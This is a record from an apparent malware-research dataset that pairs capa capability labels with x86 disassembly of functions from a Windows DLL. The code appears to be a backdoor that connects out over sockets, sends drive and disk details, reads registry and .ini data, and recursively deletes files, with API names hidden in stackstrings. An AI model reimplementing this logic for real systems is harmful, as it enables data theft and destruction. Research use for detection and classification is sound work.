joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006dd0
Capabilities:
Create tcp socket
Create udp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov esi, ecx
call fcn.10007380
mov edi, dword [sym.imp.MSVCRT.dll_puts]
push 0x100024b0
call edi
mov eax, dword [esi + 0xac]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x100024b0
mov byte [esi + 0xb5], 0
call edi
add esp, 4
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 0
mov dword [esi + 0xa8], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esi + 0xa8], 0xffffffff
jne 0x10006e51
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call ebx
mov ecx, dword [ebp + 8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x30
mov dword [ebp + 8], eax
call ebx
mov eax, dword [ebp + 8]
add esp, 4
test eax, eax
jne 0x10006e84
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0x100024b0
mov word [ebp - 0x20], 2
call edi
mov edx, dword [ebp + 0xc]
add esp, 4
push edx
call dword [sym.imp.WS2_32.dll_htons]
push 0
mov word [ebp - 0x1e], ax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 8]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x1c], eax
call edi
push 0x10002584
push 0x10002578
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esi + 0xa8]
lea ecx, [ebp - 0x20]
push 0x10
push ecx
push edx
call eax
cmp eax, 0xffffffff
jne 0x10006ef5
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
call edi
push 0x30
mov byte [ebp - 1], 1
call ebx
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [ebp - 1]
push 1
push eax
push 8
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x10006f7c
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x30
mov dword [ebp - 0x10], 1
mov dword [ebp - 0xc], 0xea60
mov dword [ebp - 8], 0x1388
call ebx
add esp, 4
mov ecx, dword [esi + 0xa8]
lea edx, [ebp - 1]
lea eax, [ebp - 0x10]
push 0
push 0
push edx
push 0
push 0
push 0xc
push eax
push 0x98000004
push ecx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
push 0x30
call ebx
add esp, 4
push 1
push 0
push 0
push esi
push 0x10006fb0
push 0
push 0
mov byte [esi + 0xb5], 1
call fcn.10012940
add esp, 0x1c
mov dword [esi + 0xa4], eax
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10007380
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov esi, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov word [ebp - 4], 1
mov word [ebp - 2], 0
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
lea eax, [ebp - 4]
push 4
push eax
push 0x80
push 0xffff
push ecx
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x30
call edi
mov edx, dword [esi + 0xa8]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0x30
call edi
add esp, 4
lea eax, [esi + 0xb5]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 0x30
call edi
mov ecx, dword [esi + 0xa8]
add esp, 4
push ecx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0x30
call edi
mov edx, dword [esi + 0xac]
add esp, 4
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x30
call edi
add esp, 4
mov dword [esi + 0xa8], 0xffffffff
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x100075d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, ebx
cmp ebx, esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], eax
mov dword [ebp + 8], 0
mov dword [ebp - 8], edi
jb 0x1000766f
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp + 0x10], 0
push 0x100024b0
call dword [sym.imp.MSVCRT.dll_puts]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, dword [edx + 0xa8]
push 0
push esi
push ecx
push eax
call dword [sym.imp.WS2_32.dll_send]
push 0
mov edi, eax
call ebx
test edi, edi
jg 0x10007640
mov eax, dword [ebp + 0x10]
inc eax
cmp eax, 0xf
mov dword [ebp + 0x10], eax
jl 0x10007605
cmp dword [ebp + 0x10], 0xf
je 0x100076ba
mov edx, dword [ebp + 8]
mov ecx, dword [ebp - 4]
add edx, edi
add ecx, esi
push 0
mov dword [ebp + 8], edx
mov dword [ebp - 4], ecx
call ebx
push 0xa
call ebx
mov eax, dword [ebp - 8]
sub eax, esi
cmp eax, esi
mov dword [ebp - 8], eax
jae 0x100075fe
mov ebx, dword [ebp + 0xc]
mov edi, eax
test edi, edi
jle 0x100076b3
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor esi, esi
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
push 0
push edi
mov eax, dword [edx + 0xa8]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
jg 0x100076ab
inc esi
cmp esi, 0xf
jl 0x1000768a
cmp esi, 0xf
je 0x100076ba
add dword [ebp + 8], eax
mov eax, dword [ebp + 8]
cmp eax, ebx
je 0x100076bd
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100076e0
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, dword [ebp + 8]
test esi, esi
jne 0x1000770a
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x10007735
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ecx, dword [eax]
mov dword [ebp - 0x10], ecx
mov edx, dword [eax + 4]
mov dword [ebp - 0xc], edx
mov ecx, dword [eax + 8]
mov dword [ebp - 8], ecx
mov eax, dword [eax + 0xc]
mov edx, dword [eax]
mov eax, dword [edx]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10007870
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x190
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x1f
xor eax, eax
lea edi, [ebp - 0x8b]
mov byte [ebp - 0x8c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x20
xor eax, eax
lea edi, [ebp - 0x8c]
lea edx, [ebp - 0x190]
rep stosd dword es:[edi], eax
mov edi, 0x100025f0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x190]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 4]
push ecx
push 0xf003f
push 0
push edx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10007930
lea eax, [ebp - 8]
lea ecx, [ebp - 0x8c]
push eax
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xc]
push ecx
push edx
push 0
push 0x100025e4
push eax
mov dword [ebp - 8], 0xc8
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
lea edx, [ebp - 0x8c]
push 0x100025dc
push edx
call esi
add esp, 8
test eax, eax
jne 0x1000797b
lea eax, [ebp - 0x8c]
push 0x100025d4
push eax
call esi
add esp, 8
test eax, eax
jne 0x1000797b
lea ecx, [ebp - 0x8c]
push 0x100025cc
push ecx
call esi
add esp, 8
test eax, eax
jne 0x1000797b
pop edi
pop esi
mov esp, ebp
pop ebp
ret
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10008c00
Capabilities:
Get common file path
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push ebx
push esi
push edi
lea eax, [ebp - 0x11c]
push 0x105
mov esi, ecx
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x10002754
lea ecx, [ebp - 0x11c]
push 0x5c
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
inc eax
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esi + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x11c]
push edx
push eax
call esi
lea ecx, [ebp - 0x11c]
push 0x10002710
push ecx
call esi
push 0
lea edx, [ebp - 0x224]
push 0x23
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x224]
push 0x100026e0
push eax
lea ecx, [ebp - 0x224]
push 0x100026d8
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [ebp - 0x11c]
lea eax, [ebp - 0x224]
push 0x1000
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebp - 0x14]
add esp, 0x14
mov ebx, eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, dword [ebp - 4]
mov ecx, 0x400
xor eax, eax
mov edi, ebx
rep stosd dword es:[edi], eax
mov eax, dword [edx]
push eax
push 0x1000
push ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
mov al, byte [ebx]
mov esi, ebx
test al, al
je 0x10008d17
mov edx, dword [ebp - 8]
push esi
inc edx
mov dword [ebp - 8], edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esi + eax + 1]
cmp byte [esi], 0
jne 0x10008d00
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
add ecx, 4
dec eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
jne 0x10008cc6
push ebx
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 8]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10008d40
Capabilities:
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, pe_nt_image_headers32
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ecx + 0x14]
test eax, eax
jne 0x10008d61
xor eax, eax
mov esp, ebp
pop ebp
ret
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ecx + 0x14]
lea eax, [ebp - 0x10]
push eax
lea edx, [ebp - 0xc]
lea eax, [ebp - 0x210]
push edx
push eax
lea edx, [ebp - 8]
lea eax, [ebp - 0x110]
push edx
push eax
push ecx
push 0
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameA]
test eax, eax
jne 0x10008da4
mov esp, ebp
pop ebp
ret
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.ADVAPI32.dll_IsValidSid]
test eax, eax
jne 0x10008db9
mov esp, ebp
pop ebp
ret
push esi
push 0x10002784
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push 0x1000276c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10008de4
lea ecx, [ebp - 4]
lea edx, [ebp - 0x110]
push ecx
push edx
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 4]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10009cb0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10004d20
push 0x1001bd38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
add esp, 4
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x10009e51
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x10009d7c
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x10009d7c
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10009d57
cmp al, 0x5c
je 0x10009d57
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10009d3f
cmp byte [esi], 0
je 0x10009d60
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10009d75
cmp al, 0x5c
je 0x10009d75
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x10009d5d
cmp byte [esi], 0
je 0x10009d9b
jmp 0x10009d97
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x10009d9b
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x10009d9b
cmp al, 0x5c
jne 0x10009d9b
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [esi]
test al, al
je 0x10009e15
cmp al, 0x5c
jne 0x10009e07
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [esi], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x10009dfa
push 0
call ebx
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10009e04
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10009e04
push 0
call ebx
push edi
jmp 0x10009e48
and eax, 0x10
cmp al, 0x10
je 0x10009e04
push edi
jmp 0x10009e48
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x10009da1
mov dword [ebp - 4], 0xffffffff
push edi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x10009ed0
Capabilities:
Get disk information
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x794
push ebx
push esi
lea eax, [ebp - 0x234]
push edi
push eax
mov dword [ebp - 0x2c], ecx
push pe_nt_image_headers32
mov byte [ebp - 0x794], 0x67
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
xor eax, eax
push 0x100027f8
lea ebx, [ebp - 0x234]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push 0x10002804
push edi
mov dword [ebp - 0x28], edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
mov al, byte [ebp - 0x234]
mov esi, 1
test al, al
mov dword [ebp - 4], esi
je 0x1000a09d
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x134]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x134]
push ecx
push eax
push eax
push eax
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [ebp - 0x394]
push 0x160
push edx
push 0x80
push ebx
call dword [ebp - 0x30]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x284]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
lea ecx, [ebp - 0x134]
inc edi
push ecx
mov dword [ebp - 0x20], edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [ebp - 0x18], eax
mov al, byte [ebx]
cmp al, 0x41
je 0x10009fff
cmp al, 0x42
je 0x10009fff
lea edx, [ebp - 0x14]
push 0
lea eax, [ebp - 0xc]
push edx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
test eax, eax
je 0x10009fff
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
mov ecx, 0x14
call fcn.1001bd40
mov edx, dword [ebp - 8]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc]
mov ecx, 0x14
call fcn.1001bd40
jmp 0x1000a004
xor eax, eax
mov dword [ebp - 0x24], eax
mov cl, byte [ebx]
push ebx
mov dword [ebp - 0x1c], eax
mov byte [ebp + esi - 0x794], cl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edx, dword [ebp - 0x24]
mov byte [ebp + esi - 0x793], al
mov eax, dword [ebp - 0x1c]
mov dword [ebp + esi - 0x792], edx
mov dword [ebp + esi - 0x78e], eax
mov eax, dword [ebp - 4]
mov ecx, edi
lea esi, [ebp - 0x284]
mov edx, ecx
lea edi, [ebp + eax - 0x78a]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, dword [ebp - 0x20]
and ecx, 3
add edx, eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x18]
lea edi, [ebp + edx - 0x78a]
mov edx, ecx
lea esi, [ebp - 0x134]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
mov edx, dword [ebp - 0x20]
add ecx, edx
lea eax, [eax + ecx + 0xa]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [ebp - 4]
lea ebx, [ebx + eax + 1]
cmp byte [ebx], 0
jne 0x10009f41
mov edi, dword [ebp - 0x28]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x794]
push esi
push ecx
mov ecx, dword [ebp - 0x2c]
call fcn.1000f500
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000a2f0
Capabilities:
Contain obfuscated stackstrings
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x480
mov dword [esp + 0x2c], ecx
mov al, 0x65
mov cl, 0x6c
push ebx
mov byte [esp + 0x11], cl
mov byte [esp + 0x16], cl
mov byte [esp + 0x17], cl
mov cl, 0x6f
push ebp
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x21], al
mov byte [esp + 0x25], al
mov byte [esp + 0x29], al
push esi
mov byte [esp + 0x27], cl
mov byte [esp + 0x30], cl
lea eax, [esp + 0x24]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x72
xor bl, bl
push eax
push ecx
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], dl
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], bl
mov byte [esp + 0x30], 0x52
mov byte [esp + 0x32], 0x6d
mov byte [esp + 0x34], 0x76
mov byte [esp + 0x36], 0x44
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x38], dl
mov byte [esp + 0x3a], 0x63
mov byte [esp + 0x3b], 0x74
mov byte [esp + 0x3d], dl
mov byte [esp + 0x3e], 0x79
mov byte [esp + 0x3f], 0x41
mov byte [esp + 0x40], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x494]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [esp + 0x40], eax
mov al, 0x2a
mov byte [esp + 0x13], al
mov byte [esp + 0x15], al
lea edx, [esp + 0x10]
push esi
lea eax, [esp + 0x188]
push edx
push eax
mov byte [esp + 0x1c], 0x25
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x22], bl
call edi
add esp, 0xc
lea ecx, [esp + 0x44]
lea edx, [esp + 0x184]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x1000a415
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x480
ret 4
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [esp + 0x70], 0x2e
je 0x1000a46b
test byte [esp + 0x44], 0x10
lea eax, [esp + 0x70]
push eax
push esi
push 0x100026d8
je 0x1000a454
lea ecx, [esp + 0x398]
push ecx
call edi
mov ecx, dword [esp + 0x4c]
add esp, 0x10
lea edx, [esp + 0x38c]
push edx
call fcn.1000a2f0
jmp 0x1000a46b
lea ecx, [esp + 0x294]
push ecx
call edi
add esp, 0x10
lea edx, [esp + 0x288]
push edx
call ebx
lea eax, [esp + 0x44]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1000a41b
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [esp + 0x44]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0x480
ret 4
Function at 0x1000a4a0
Capabilities:
Contain obfuscated stackstrings
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0xc], esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov al, 0x65
mov cl, 0x6c
mov byte [ebp - 0x27], al
mov byte [ebp - 0x24], al
mov byte [ebp - 0x16], al
mov byte [ebp - 0x13], al
mov byte [ebp - 0xf], al
mov byte [ebp - 0x23], cl
mov byte [ebp - 0x1e], cl
mov byte [ebp - 0x1d], cl
mov byte [ebp - 0x10], cl
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x28]
mov dl, 0x72
push eax
push ecx
mov byte [ebp - 0x28], 0x6b
mov byte [ebp - 0x26], dl
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x22], 0x33
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x2e
mov byte [ebp - 0x1f], 0x64
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], dl
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0xe], 0x41
mov byte [ebp - 0xd], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esi + 0x20]
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
mov ecx, 0x41
xor eax, eax
mov edi, edx
rep stosd dword es:[edi], eax
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x80
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 3
push 0
and ecx, 3
push 1
push bind
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [ebp - 8]
mov edi, eax
cmp edi, 0xffffffff
jne 0x1000a590
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
lea ecx, [ebp - 4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
add edi, 0xa
push edi
push 0x40
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, edi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov byte [ebx], 0x69
mov eax, dword [ebp - 4]
mov dword [ebx + 5], esi
mov esi, dword [ebp + 8]
push esi
mov dword [ebx + 1], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, eax
lea edi, [ebx + 9]
inc ecx
mov eax, dword [ebp - 8]
mov edx, ecx
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0xc]
call fcn.1000f500
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4